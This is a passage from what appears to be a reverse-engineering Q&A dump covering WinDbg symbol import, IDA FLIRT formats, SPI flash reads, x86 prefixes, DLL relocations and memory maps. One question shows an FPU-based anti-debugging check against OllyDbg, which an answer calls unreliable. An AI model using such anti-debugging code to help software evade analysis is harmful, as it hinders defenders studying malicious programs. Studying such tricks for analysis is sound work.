        "Body": "<p>When I have a kernel module without symbols, I'd typically first open it in IDA and give names to some of the subroutines (those I'm interested in).</p>\n\n<p>Since I prefer my kernel debugging with plain WinDbg (and not the IDA-integrated WinDbg), I'd like WinDbg to recognize the names IDA (and me) gave to those addresses. That way, a) I could break on those functions by name, change variables by name, and b) WinDbg's output and views would read better (in stack traces etc.).</p>\n\n<p>Unfortunately, IDA has no \"create PDB\" feature, and I don't even see a non-PDB way of importing addresses into WinDbg.</p>\n\n<p>Ideas, anyone?</p>\n",
        "Title": "Importing list of functions and addresses into WinDbg",
        "Tags": "|ida|windbg|symbols|",
        "Answer": "<p>since this has nothing to do with original query and<br />\nis an experiment of sorts with the labeller windbg extension that i edited in in my first answer<br />\ni am adding this as a new answer and not editing my original answer<br />\nsince the question of performance of AddSyntheticSymbol for bulk Addition Came up i cooked up a small 6 figure long windbg script file that i could use to test the performance</p>\n<p>it appears there is a logarithmic increase in the time required to add symbols<br />\nif windbg could add 500 symbols in 11 seconds on the first round<br />\nit would take 13 seconds for next 500 and<br />\n16 seconds for the third round of 500 symbols<br />\ni cut off the test when i added the 20 th round of symbols it took about 50 seconds to load the symbols 9500 to 10000</p>\n<p>here is the small python script to cook up a windbg scriptfile</p>\n<pre><code>buff = []\nj=0\nk=1\nfor i in range(0,100000,1):\n    j=j+1\n    buff.append(&quot;!label str_%s %08x 1 xul\\n&quot; % ( str(i).rjust(8,'0') , i ) )\n    if(j == 500):\n        buff.append(&quot;%s %d symbols added\\n&quot; % (&quot;.echotime;.echo &quot;,j*k))\n        j = 0\n        k = k+1\nwith open (&quot;lab100k.txt&quot;,&quot;w&quot;) as txt:\n    txt.writelines(buff) \n</code></pre>\n<p>this creates a file with 100200 windbg commands that uses !label extcmd</p>\n<pre><code>wc -l lab100k.txt\n100200 lab100k.txt\n\ngrep -c echotime lab100k.txt\n200\n\ntail -n 3 lab100k.txt\n!label str_00099998 0001869e 1 xul\n!label str_00099999 0001869f 1 xul\n.echotime;.echo  100000 symbols added\n</code></pre>\n<p>loaded the label extension and executed this windbg script and cut it off after labelling 10000 address the timeframe isas follows</p>\n<pre><code>0:021&gt; $$&gt;a&lt; lab100k.txt\nDebugger (not debuggee) time: Tue Sep 22 23:58:52.053 2020 \n500 symbols added\nDebugger (not debuggee) time: Tue Sep 22 23:59:03.468 2020 \n1000 symbols added\nDebugger (not debuggee) time: Tue Sep 22 23:59:16.983 2020 \n1500 symbols added\nDebugger (not debuggee) time: Tue Sep 22 23:59:32.546 2020 \n2000 symbols added\nDebugger (not debuggee) time: Tue Sep 22 23:59:50.225 2020 \n2500 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:00:10.133 2020 \n3000 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:00:32.502 2020 \n3500 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:00:57.303 2020 \n4000 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:01:23.955 2020 \n4500 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:01:52.593 2020 \n5000 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:02:22.930 2020 \n5500 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:02:55.546 2020 \n6000 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:03:30.068 2020 \n6500 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:04:06.521 2020 \n7000 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:04:45.134 2020 \n7500 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:05:25.709 2020 \n8000 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:06:08.456 2020 \n8500 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:06:53.301 2020 \n9000 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:07:40.663 2020 \n9500 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:08:29.967 2020 \n10000 symbols added\n</code></pre>\n<p>the result of symbols are as follows</p>\n<pre><code>0:021&gt; x xul!str_000100*\n50462710          xul!str_00010000 = &lt;no type information&gt;\n50462711          xul!str_00010001 = &lt;no type information&gt;\n50462712          xul!str_00010002 = &lt;no type information&gt;\n50462713          xul!str_00010003 = &lt;no type information&gt;\n50462714          xul!str_00010004 = &lt;no type information&gt;\n50462715          xul!str_00010005 = &lt;no type information&gt;\n50462716          xul!str_00010006 = &lt;no type information&gt;\n50462717          xul!str_00010007 = &lt;no type information&gt;\n50462718          xul!str_00010008 = &lt;no type information&gt;\n50462719          xul!str_00010009 = &lt;no type information&gt;\n5046271a          xul!str_00010010 = &lt;no type information&gt;\n5046271b          xul!str_00010011 = &lt;no type information&gt;\n5046271c          xul!str_00010012 = &lt;no type information&gt;\n5046271d          xul!str_00010013 = &lt;no type information&gt;\n5046271e          xul!str_00010014 = &lt;no type information&gt;\n5046271f          xul!str_00010015 = &lt;no type information&gt;\n50462720          xul!str_00010016 = &lt;no type information&gt;\n50462721          xul!str_00010017 = &lt;no type information&gt;\n50462722          xul!str_00010018 = &lt;no type information&gt;\n50462723          xul!str_00010019 = &lt;no type information&gt;\n50462724          xul!str_00010020 = &lt;no type information&gt;\n50462725          xul!str_00010021 = &lt;no type information&gt;\n50462726          xul!str_00010022 = &lt;no type information&gt;\n50462727          xul!str_00010023 = &lt;no type information&gt;\n50462728          xul!str_00010024 = &lt;no type information&gt;\n50462729          xul!str_00010025 = &lt;no type information&gt;\n5046272a          xul!str_00010026 = &lt;no type information&gt;\n5046272b          xul!str_00010027 = &lt;no type information&gt;\n5046272c          xul!str_00010028 = &lt;no type information&gt;\n</code></pre>\n"
    },
    {
        "Id": "3854",
        "CreationDate": "2014-03-12T01:35:57.983",
        "Body": "<p>In tracing how the recv function works on Windows, I observe the following trace:</p>\n\n<pre><code>...\n0x743817d2  push eax                      C:\\windows\\system32\\WSOCK32.dll recv                     \n0x743817d3  push dword ptr [ebp+0x8]      C:\\windows\\system32\\WSOCK32.dll recv                     \n0x743817d6  call 0x7438193e               C:\\windows\\system32\\WSOCK32.dll recv                     \n0x7438193e  jmp dword ptr [0x74381000]    C:\\windows\\system32\\WSOCK32.dll setsockopt               \n0x77287089  mov edi, edi                  C:\\windows\\syswow64\\WS2_32.dll  WSARecv                  \n0x7728708b  push ebp                      C:\\windows\\syswow64\\WS2_32.dll  WSARecv                  \n0x7728708c  mov ebp, esp                  C:\\windows\\syswow64\\WS2_32.dll  WSARecv  \n...\n</code></pre>\n\n<p>Unfortunately, once again I found it quite strange. First, there is a direct call: </p>\n\n<pre><code>call 0x7438193e\n</code></pre>\n\n<p>inside <code>recv</code>. I still do not understand why that works: since the <code>WSOCK32.dll</code> (containing <code>recv</code>) will be loaded \"arbitrarily\" in the user-space, how does <code>recv</code> guarantee that the <code>setsockopt</code> locates at this address?. </p>\n\n<p>Second, I see nowhere in the application (here it is wget) can modify the memory at <code>0x74381000</code> (that is the target of <code>jmp</code> inside <code>setsockopt</code>), so normally the value at this address is always <code>0x77287089</code> and that means <em><code>recv</code> calls always <code>WSARecv</code></em>(!!!). I doubt that is not true because there is no official document (i.e. MSDN) saying that. </p>\n\n<p>Many thanks for any consideration.</p>\n",
        "Title": "Directed call inside recv",
        "Tags": "|binary-analysis|debugging|",
        "Answer": "<blockquote>\n  <p>how does recv know that the setsockopt locates at this address?</p>\n</blockquote>\n\n<p>The relative virtual address of the function <code>setsockopt</code> is in <code>WSOCK32.dll</code>'s Export Table, so your disassembler/debugger was smart enough to match the virtual address <code>0x74381000</code> to the relative virtual address of <code>setsockopt</code>.</p>\n\n<blockquote>\n  <p>\"recv calls always WSARecv\"</p>\n</blockquote>\n\n<p>That's correct; in Winsock, <code>recv</code> is a wrapper around <code>WSARecv</code>.</p>\n"
    },
    {
        "Id": "3856",
        "CreationDate": "2014-03-12T08:51:01.533",
        "Body": "<p>IDA startup signatures are sets of signatures used in FLIRT to detect what library is used in a static linked executable .<br>\nI am about to use these signatures to detect which library is used in an executable file .\n<br>I must use pattern files in IDA FLAIR in startup folder .<br>but i don't know it's format and what does each field mean (:?)<br>\nhere are a few sample pattern :</p>\n<pre><code>1)8BFF558BECE8........E8........5DC3.............................. 00 0000 0011 :0000 s=A/- ^0006 ___security_init_cookie ^000B ___tmainCRTStartup\n2)6A0C68........E8........8BF98BF28B5D0833C0408945E485F6750C3915.. 00 0000 00F6 :0000 o=2:a=108:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+67^[_DllMain@12]~msmfc2d/~@vc32mfc@; :00E4@ $LN18 :00E3@ $LN25 :00D3@ $LN29 :00D3@ $LN17 ^0003 __sehtable$___DllMainCRTStartup ^0008 __SEH_prolog4 ^001F ___proc_attached ^0037 __pRawDllMain ^0055 __CRT_INIT@12 ^0068 _DllMain@12 ^00DD ___CppXcptFilter ^00F1 __SEH_epilog4 ......0F84C50000008365FC003BF0740583FE02752EA1........85C07408575653FFD08945E4837DE4000F8496000000575653E8........8945E485C00F8483000000575653E8........8945E483FE01752485C07520575053E8........576A0053E8........A1........85C07406576A0053FFD085F6740583FE037526575653E8........85C075032145E4837DE4007411A1........85C07408575653FFD08945E4C745FCFEFFFFFF8B45E4EB1D8B45EC8B088B095051E8........5959C38B65E8C745FCFEFFFFFF33C0E8........C3\n</code></pre>\n<p>i could 't find any relevant content on the internet.\ncan any body help me about the format?\n<br>\nMore about my need:\n<br>\nI want to find library functions in PE files (on my own program not by IDA) and ,as there are a huge amount of FLAIR pattern for all libraries , I cannot load them altogether because of memory and speed issues .<br>\nI have also read pat.txt in IDA FLAIR and i know the patterns format but startup signatures format is a bit different and has new parts so I want to know about these new parts like :\n<code>\no=2:a=108:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+67^[_DllMain@12]~msmfc2d/~@vc32mfc@;\n</code></p>\n",
        "Title": "IDA startup signatures format",
        "Tags": "|ida|",
        "Answer": "<p>First, you should begin by reading through pat.txt which is included with the IDA flair utilities. It describes the format of .pat files. </p>\n\n<p>Second it would be helpful if you can clarify what you are trying to do. What processor/file type are you working with? In many cases you do not need to directly manipulate .pat files at all since Hex-Rays provides tools to generate .pat files and .sig files from those .pat files. </p>\n\n<p>Third, it is not clear exactly what type of signatures you are trying to work with and why. IDA \"startup\" signatures are a special form of signature used the when you first create a database for a new binary file. The purpose of startup signatures is to identify startup routines and the compiler used to create the binary. This may in turn trigger the loading of additional library signature files. Library signature files are the ones used to recognize the presence of library code that has been statically linked into a binary. Signatures are usually generated by parsing a copy of the static link libraries that were linked into the binary you are interested in. The most common case for needing to understand the .pat file format is when the parsers that Hex-Rays ships with flair are not capable of parsing the link libraries that you are trying to create patterns from.</p>\n\n<p>This link may also be useful: <a href=\"https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml\" rel=\"nofollow\">Hex-Rays FLIRT</a></p>\n"
    },
    {
        "Id": "3859",
        "CreationDate": "2014-03-12T21:15:15.260",
        "Body": "<p>I'm looking to define a structure in IDA like:</p>\n\n<pre><code>struct StructA {\n    int a;\n    int b;\n} StructA;\n\nstruct StructB {\n    StructA a;\n    int b;\n} StructB;\n</code></pre>\n\n<p>Can I do this in IDA's structure definition box without having to redefine all the members from <code>StructA</code> in <code>StructB</code>?</p>\n",
        "Title": "When defining a structure in IDA, can I define a field that is of another struct type?",
        "Tags": "|ida|struct|",
        "Answer": "<p>Yes. In <code>StructB</code>, select the field you want to convert to a sub-structure or create a new field by pressing <kbd>D</kbd>. With the given field selected, press <kbd>Alt</kbd>+<kbd>Q</kbd> and select <code>StructA</code> for the field.</p>\n"
    },
    {
        "Id": "3863",
        "CreationDate": "2014-03-13T06:15:19.727",
        "Body": "<p>I am looking at a SPI EEPROM chip on board which is unfortunately hidden under an epoxy blob.  However, I was able to determine the pinout thanks to the silkscreen.</p>\n\n<p>Dumping the EEPROM with a Bus Pirate, I figured that the EEPROM is 16K since the dumped data seems to repeat every 0x4000 bytes.</p>\n\n<p>I hooked up a logic analyzer to the pins and monitored communication with the EEPROM while the device booted.  The sniffed communication looks very much like SPI (as it should), however there is a slight discrepancy from the spec I haven't figured out yet.</p>\n\n<p>I've screenshotted three examples of what seems to be a READ operation:</p>\n\n<p><img src=\"https://i.stack.imgur.com/PFQ2t.png\" alt=\"Screenshot 1\">\n<img src=\"https://i.stack.imgur.com/nrxvL.png\" alt=\"Screenshot 2\">\n<img src=\"https://i.stack.imgur.com/9cWYB.png\" alt=\"Screenshot 3\"></p>\n\n<p>The first byte is 0x03 (READ), followed by three bytes, and a two-byte response on MISO.  According to the SPI protocol, a READ opcode should be immediately followed by a two-byte address.  Then, data is returned from that address.</p>\n\n<p>However, <em>three</em> bytes follow the READ opcode, not two.  Looking at each example, the first byte always seems to be 0x00.  The next two bytes may conceivably be the address.</p>\n\n<p>My questions boil down to:</p>\n\n<ul>\n<li>Is this normal behavior for SPI chips?</li>\n<li>How should this seemingly non-standard communication be interpreted?</li>\n<li>Are there more effective ways of decoding this captured traffic into human-readable SPI commands?</li>\n</ul>\n",
        "Title": "Potentially non-standard SPI communication",
        "Tags": "|hardware|spi|",
        "Answer": "<p>There is no SPI specification that dictates things like read codes or address lengths, AFAIK; these are chip-specific and have been generally standardized by vendors of SPI EEPROMs and flash chips (though I\"m not aware of any formal agreement among vendors).</p>\n\n<p>Most SPI EEPROMs use two bytes to specify the read address, because they are so small that they only need two bytes to address all of the memory on the chip. Most SPI flash chips are larger and use three bytes (they also use the same READ and WRITE codes that SPI EEPROMs do).</p>\n\n<p>So what you are seeing appears to be valid; if I had to guess, I'd say that the chip under the epoxy is an SPI flash chip rather than an EEPROM, but from the standpoint of reading the data from the chip there's little difference, besides the length of the address.</p>\n\n<p>This does not explain why your data appears to be repeating every 0x4000 bytes though. One thing you can try is the RDID command (0x9F) that is implemented by most SPI flash chips (though not EEPROMs to my knowledge). This should return a 3-byte value identifying the manufacturer ID, the device ID and the memory density (aka, the size of the chip). <a href=\"http://www.mxic.com.tw/Lists/DataSheet/Attachments/1599/MX25L1006E,%203V,%201Mb,%20v1.3.pdf\">Here</a> is a datasheet from a typical SPI flash chip which provides more detail on the typical RDID implementation.</p>\n\n<p>If this is an SPI flash chip, I would expect the RDID command to work, and you'll know for sure what the size of the chip is; if it doesn't work, then I would venture to guess that this is an EEPROM chip whose vendor decided (for whatever reason) to use 3-byte addresses instead of 2.</p>\n"
    },
    {
        "Id": "3866",
        "CreationDate": "2014-03-13T21:18:31.593",
        "Body": "<p>I'm in the IDA View-A within a subroutine. I've identified the subroutine, and now I want to navigate to the subroutine in the functions window so that I can jump around some of the other subroutines in the vicinity rather quickly.</p>\n\n<p>I know that I can search the functions window with <kbd>Alt + T</kbd>, but I was wondering if there was a shortcut to automatically jump to the currently selected subroutine.</p>\n\n<p>There are more than 200,000 subroutines in the functions window, so searching is slow.</p>\n\n<p>Is it possible to navigate directly to the current subroutine, or to navigate directly to a subroutine based on address? If so, how?</p>\n",
        "Title": "Is it possible/How can I select in the functions window the current subroutine in the IDA View?",
        "Tags": "|ida|",
        "Answer": "<p>Try <code>ctrl-P</code> it will take you to the <code>\"Choose function to jump to\"</code> window which sounds like what you want.</p>\n"
    },
    {
        "Id": "3872",
        "CreationDate": "2014-03-14T20:19:20.423",
        "Body": "<p>I created a simple Cocoa app (Mac 64bit) in Xcode, and in it I created a string object, and then outputted the contents of the string in a NSLog statement.</p>\n<p><img src=\"https://i.stack.imgur.com/98uC6.png\" alt=\"enter image description here\" /></p>\n<p>Then I decided to see if I could modify the contents of the binary (exe) in the .app directory of the application.  I used 0xED to change, <em>This is my string.</em> to <em>This is my new string.</em>  I did this by typing the word <em>new</em> in the right portion of the 0xED editor.</p>\n<p><img src=\"https://i.stack.imgur.com/6UTQt.png\" alt=\"enter image description here\" /></p>\n<p>Finally, I saved the file, then tried to launch it, but it appears to crash.  The crash report appears somewhat cryptic to me, so I am not exactly sure why the app is crashing.</p>\n",
        "Title": "Editing a Mach-O x86_64 binary with 0xED results in a app crash",
        "Tags": "|mach-o|patch-reversing|",
        "Answer": "<p>Code before <code>This is my string</code> relies on addresses/offsets of data (and possibly code) after <code>This is my string</code>. When you insert the string <code>new</code>, you're effectively shifting the code/data after <code>This is my string</code> to the right by 4 bytes. When code before <code>This is my string</code> tries to access that content, it access the wrong content since the location has been shifted.</p>\n"
    },
    {
        "Id": "3876",
        "CreationDate": "2014-03-15T09:34:50.660",
        "Body": "<p>How do I list all destinations from relative jump instructions (e.g. the jmpr instruction) in IDA?</p>\n",
        "Title": "List Relative Jump Destinations in IDA",
        "Tags": "|ida|",
        "Answer": "<p>With your cursor on the given instruction, press <kbd>Shift</kbd>+<kbd>F2</kbd> to bring up the IDC window, paste the following script into the script body pane, and press the <kbd>Run</kbd> button in the dialog window.</p>\n\n<pre><code>auto x = Rfirst0(ScreenEA());\nwhile (x != BADADDR)\n{\n    Message(\"0x%08X\\n\", x);\n    x = Rnext0(ScreenEA(), x);\n}\n</code></pre>\n"
    },
    {
        "Id": "3879",
        "CreationDate": "2014-03-15T20:21:10.273",
        "Body": "<p>Olly, specifically, will only accept the last prefix it finds if there are more than one from the same group. For example</p>\n\n<pre><code>lock rep add dword ptr[eax],eax    ; f0 f3 01 00\n</code></pre>\n\n<p>becomes</p>\n\n<pre><code>???                           ; f0                 \nrep add dword ptr[eax],eax    ; f3 01 00\n</code></pre>\n\n<p>Page 28 of the Intel architecture manual simply states \"it is only useful to include up to one prefix code from each of the four groups ...\" but no where does it say it's required to only have, at most, one from each group. Yes,  there are cases where some of the prefixes are required, must not be present, or are only valid depending on the instruction, but I'm not referring to any of those scenarios.</p>\n\n<p>I'm choosing to interpret Intel's guidance as meaning \"it's valid but there aren't many reasons to do it\" and I'll continue to leave the prefix listed with the instruction (again, barring any specific rules that say otherwise.)</p>\n\n<p>Is this the correct way to handle the situation or should I be doing something different?</p>\n",
        "Title": "What is the proper way to deal with an x86/64 instruction containing multiple prefixes from the same group?",
        "Tags": "|disassembly|x86|x86-64|",
        "Answer": "<p>The general rule of thumb is that every prefix is applied in sequence. <strike>For example, two <code>66</code> prefixes cancel each other, and <code>66 66 66</code> is the same as single <code>66</code>.</strike></p>\n\n<p><strong>EDIT</strong>: it seems I was wrong, and repeated prefixes <a href=\"http://www.reddit.com/r/ReverseEngineering/comments/20i4l8/what_is_the_proper_way_to_deal_with_an_x8664/cg6dg0v\" rel=\"nofollow\">are ignored.</a></p>\n\n<p>The situation becomes somewhat muddled for SSE instructions where some prefixes are mandatory and some are optional, and their order may matter. For example, if both F2 and F3 are used with an SSE instruction, then the last one \"wins\", and 66 is ignored if other prefixes are present (except for a few instructions like CRC32).</p>\n\n<pre><code>66 f3 f2 0f 59 ff     ; mulsd xmm7, xmm7\n66 f2 f3 0f 59 ff     ; mulss xmm7, xmm7\n66 0f 59 ff           ; mulpd xmm7, xmm7\nf2 66 0f 59 ff        ; mulsd xmm7, xmm7\n</code></pre>\n\n<p>In general, docs don't describe the corner cases very well. So the best thing to do is to put some bytes into a file, run it on the actual CPU, and observe what happens.</p>\n"
    },
    {
        "Id": "3882",
        "CreationDate": "2014-03-15T23:30:27.723",
        "Body": "<p>One of the many features of Kernel Detective is the possibility to retrieve the original addresses of the native apis functions implemented in the driver win32k.sys and checking if they are hooked. What are the possible ways to achieve the same ? </p>\n",
        "Title": "How does Kernel Detective check if API functions are hooked?",
        "Tags": "|kernel-mode|",
        "Answer": "<p>I think you should read from original file (exe, dll) of exported API function and compare with the data in the loading memory. To avoid the fake result in which the read API functions are also hooked, you should use some tricks to get the original read API function from memory.</p>\n\n<p>Hope this help!</p>\n"
    },
    {
        "Id": "3886",
        "CreationDate": "2014-03-17T02:52:04.340",
        "Body": "<p>I have a web application written in JSP running on a tomcat 6 server that I want to RE. I've decompiled the .jars associated with the web application. The source code is heavily obfuscated, making it very time consuming to understand the execution flow. Since I'm under a time constraint reverse engineering this way isn't feasible. </p>\n\n<p>Is there a way to force the JVM to log all method calls with parameters? \nCan this be done through a profiler such as VisualVM?</p>\n",
        "Title": "Reverse engineering close sourced JSP applets",
        "Tags": "|debugging|dynamic-analysis|java|",
        "Answer": "<p>Well the good news is that it's barely been obfuscated. I don't see any string encryption, which is the one thing that every single commercial obfuscator does. The only thing I see is basic class/method renaming. Most likely they just ran it through Proguard.</p>\n\n<p>The bad news is that even with weak obfuscation, it's still a pain to read through. (Heck, with a large codebase it's often a pain just to read through the original commented source code!) But there's not much you can do except slog through it. Coming up with meaningful names to rename everything is obviously not something that can be done automatically. This is where the human traditionally steps in.</p>\n\n<p>If they happen to have included an open source library in the renamed part, you can match it up and automatically rename all those parts back to the original, but I don't see any signs of this.</p>\n\n<p>Ultimately, it's just a matter of reverse engineering. At least you're a lot better off than with x86 reverse engineering.</p>\n"
    },
    {
        "Id": "3889",
        "CreationDate": "2014-03-17T16:36:44.183",
        "Body": "<p>I have a binary file (actually, an operating system for an ARM embedded device which also contains some high-level apps (hard coded in the user interface)).</p>\n\n<p>I know some parts of the operating system are from C++ code, so it is likely the binary contains the C++ STL.</p>\n\n<p>However, I don't know much about the STL.</p>\n\n<p>Would you have a method to find the address of the STL functions?\n(the basic method of searching for the \"map\", \"vector\", ... string was unsuccessful and I don't know any specific feature I could search for in this case)</p>\n\n<p>Is there some kind of signature for the STL functions?</p>\n\n<p>Thanks!</p>\n\n<p>Additional informations: I use IDA. I can run the OS with a GDB. I know the address of much of the standard C functions (ctype/stddio/...).</p>\n",
        "Title": "Find the C++ STL functions in a binary",
        "Tags": "|ida|binary-analysis|c++|arm|operating-systems|",
        "Answer": "<p>Libraries like STL or Boost are tricky. Because they're heavily template-based and most of their code is generated at compile time, it's pretty difficult to make FLIRT-style signatures for them. Too much depends on the specific compiler, build options, optimization settings and so on, so unless you match them pretty closely when generating signatures, you're unlikely to get many good hits.</p>\n\n<p>However, you may be able to find some signs of them. For example, the typical <code>std::string</code> implementation in some cases throws exceptions <code>length_error</code> or <code>out_of_range</code>. You might be able to find references to the error text or the exception names. Other than that I think there's not much you can look for besides recognizing a specific implementation from the actual code.</p>\n\n<p>However, since you mention it's an RTOS, I highly doubt it's using STL. In an OS, any non-deterministic behavior is a bad thing, and with STL you can get an exception basically at any time. They may use some limited C++ for better encapsulation but any high-level classes are likely to be custom-made and not from STL or Boost.</p>\n"
    },
    {
        "Id": "3891",
        "CreationDate": "2014-03-17T19:11:51.150",
        "Body": "<p>If I have an unknown file format and</p>\n\n<ul>\n<li>someone can still run the program and save any number of files</li>\n<li>someone can modify all options of the program individually</li>\n<li>it is known that the file format does not use compression</li>\n<li>it is known that the file format does not use encryption</li>\n<li>it doesn't seem to have a checksum</li>\n<li>I have \"unlimited\" money to pay someone</li>\n</ul>\n\n<p>is it then guaranteed that someone can reverse engineer the file format?</p>\n",
        "Title": "Is it guaranteed that someone can reverse engineer this file format?",
        "Tags": "|file-format|",
        "Answer": "<p>It's guaranteed that given enough time and resources anything can be reverse engineered.</p>\n"
    },
    {
        "Id": "3895",
        "CreationDate": "2014-03-18T13:32:35.357",
        "Body": "<p>I'm running a 64-bit MS Windows 7 with all updates installed. About 1 or 2 weeks ago I've noticed that whenever I restart the OS, the virtual memory pages (of whatever process), corresponding to system libraries like <code>ntdll.dll</code> and <code>kernel32.dll</code> are slightly different. </p>\n\n<p>I'm not talking about the base address of the loaded modules, because I know that changes due to ASLR. I'm talking about the actual contents of the loaded modules, which as far as I know was not affected by ASLR implementations on Windows.</p>\n\n<p>To illustrate what I mean, let me show you the following screenshot that compares 2 binary instances of <code>ntdll.dll</code> captured before (top-half) and after (bottom-halt) one OS restart:\n<img src=\"https://i.stack.imgur.com/xHpGR.png\" alt=\"enter image description here\"></p>\n\n<p>The picture shows just a small part of <code>ntdll.dll</code> and therefore just a few differences. However, there are more. The size of these DLLs don't change, only some bytes at particular locations.</p>\n\n<p>I obtained the 2 binary instances which are compared in the previous picture using Process Hacker like so:</p>\n\n<ul>\n<li>Right-click a process and select <strong>Properties</strong></li>\n<li>Go to the <strong>Memory</strong> tab and scroll-down until you find several entries having the name: <em>ntdll.dll: Image (Commit)</em></li>\n<li>Double-click one of these entries (I chose the one that had 856kB)</li>\n<li>Press the <strong>Save...</strong> button to store the contents to a binary file on the HDD.</li>\n</ul>\n\n<p><strong>Question 1:</strong> What is causing these bytes to change? </p>\n\n<ul>\n<li><strong>Sub-question 1.1:</strong> Is is some sort of protection mechanism? </li>\n<li><strong>Sub-question 1.2:</strong> Was it recently introduced?  </li>\n<li><strong>Sub-question 1.3:</strong> Can it be disabled?</li>\n</ul>\n\n<p><strong>Question 2:</strong> What do these changing bytes represent in the code of the DLLs? </p>\n",
        "Title": "What changes in MS Windows system libraries after restart?",
        "Tags": "|windows|dll|",
        "Answer": "<p>What you see is offsets modified to reflect a changed base address. Anything that's not relative to the base (be it global variables or calls or whatever) needs to be adjusted if the image base changes.</p>\n\n<p>PE files can have a relocation table for that. Can, as in standard .exe files usually don't have it, as it was not necessary until ASLR (random base addresses for modules) came along.</p>\n\n<p>For DLLs the base address is likely to change as it depends on what other files are already loaded so they almost always have a base relocation table that says \"If the base address differs from XYZ, add the delta to the following locations\".</p>\n\n<p>If you are curios how that base relocation table looks like, I'll recommend checking out the following:</p>\n\n<ul>\n<li><p>See the following code implementing a <a href=\"http://secureimplugin.googlecode.com/svn/trunk/CryptoPP/dllloader.cpp\" rel=\"nofollow\">custom PE file loader</a>.</p></li>\n<li><p>Search for <code>IMAGE_DIRECTORY_ENTRY_BASERELOC</code> to see code handling the relocation directory.</p></li>\n</ul>\n"
    },
    {
        "Id": "3907",
        "CreationDate": "2014-03-19T12:16:30.563",
        "Body": "<p>While playing around with FPU instructions I discovered an anti-debugging trick for\nOllyDbg. I haven't found it in popular references so far.</p>\n\n<p>First of all here it is.</p>\n\n<pre><code>fnsave [esp-100h]\ncmp word ptr [esp-0EEh], 07FFh      ; 07FFh (all bits set) in Olly 2\n                                    ; 0000h in Olly 1\n                                    ; something different otherwise\nje @being_debugged\n</code></pre>\n\n<p>The code fragment checks the \"Last Instruction Opcode\" at +0x12. According to Intel manuals it's set if and only if an exception occured.</p>\n\n<p>The value is set only once, it doesn't work when restarting (&lt;&lt;) the program.</p>\n\n<p>But I don't know where the values come from. When Olly calls GetThreadContext() of debuggee, the value is already set. Other debuggers does not seem to behave like this.</p>\n\n<p>Can anyone confirm this? Tested on Win XP SP3, Intel P4.</p>\n",
        "Title": "OllyDbg FPU anti-debug",
        "Tags": "|ollydbg|anti-debugging|",
        "Answer": "<p>Last Instruction Opcode is set mainly for the use of exception handlers, but it's set for every non-control FPU instruction (that is, set by loads, stores, compares, etc).</p>\n\n<p>The value is non-zero on my system, but it is different value, and it's not constant.</p>\n\n<p>Olly 1 doesn't request as many context fields as Olly 2 does, and that's part of the reason why the values are different.  The context structure initialization leaves some fields unassigned.  It's not specific to Olly that some of the bits are set.  Also note that the value of (0xd800+)0x7ff does not decode to any meaningful instruction.</p>\n\n<p>In short, not a reliable detection method.</p>\n"
    },
    {
        "Id": "3909",
        "CreationDate": "2014-03-19T14:29:36.547",
        "Body": "<p>If a binary file is open with ROM starting at 0x10A000, how do I easily change the ROM starting address of the file to 0x109000? I always had to restart IDA to do it. I also tried to \"rebase the program using shift delta\" but I don't know how to use a negative shift delta, plus it's not automated.</p>\n",
        "Title": "Rebase program with negative shift delta in IDA",
        "Tags": "|ida|",
        "Answer": "<p>Look in IDA menu: </p>\n\n<p>Edit->Segments->Rebase program.</p>\n"
    },
    {
        "Id": "3915",
        "CreationDate": "2014-03-19T18:05:42.550",
        "Body": "<p>I've been looking for any Windows functions to view or dump memory, or the process to do this manually. I can not find info on this anywhere online.</p>\n\n<p>How would I get a dump of a process's memory like the one in Olly's memory window?</p>\n\n<p><strong>Edit for clarification:</strong></p>\n\n<p>I wanted to be able to retrieve an address's base page address. The memory map was the best relation I had to this, as it gives page info such as size, starting address, permissions, etc. <code>VirtualQueryEx()</code> solved the problem.</p>\n\n<p>I ended up iterating through the pages until I found one in which my target address fell.</p>\n\n<p>I tend to ask for what I think would be the solution rather than laying out my problem and taking suggestions. </p>\n\n<p>Thank you all for the help.</p>\n\n<pre><code>// Iterate through pages\nfor(base = NULL; \n    WINDOWS::VirtualQuery(base, info, sizeof(*info)) == sizeof(*info); \n    base += info-&gt;RegionSize) {\n\n    if(p &gt; base &amp;&amp; p &lt; base + info-&gt;RegionSize) {\n        found = true;\n        break;\n    }\n}\n</code></pre>\n",
        "Title": "How does Ollydbg obtain the memory map (alt+m)?",
        "Tags": "|windows|memory|dumping|",
        "Answer": "<p>To dump memory to a file, see the <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ee416349%28v=vs.85%29.aspx\" rel=\"nofollow\">DbgHelp MiniDumpWriteDump</a> function. You'll get a snapshot of the memory as a dump file (.DMP) which you can then analyze with various tools or by yourself using the <a href=\"http://msdn.microsoft.com/en-us/library/windows/hardware/ff561475%28v=vs.85%29.aspx\" rel=\"nofollow\">DbgEng debugging engine</a>.</p>\n"
    },
    {
        "Id": "3930",
        "CreationDate": "2014-03-21T16:34:12.243",
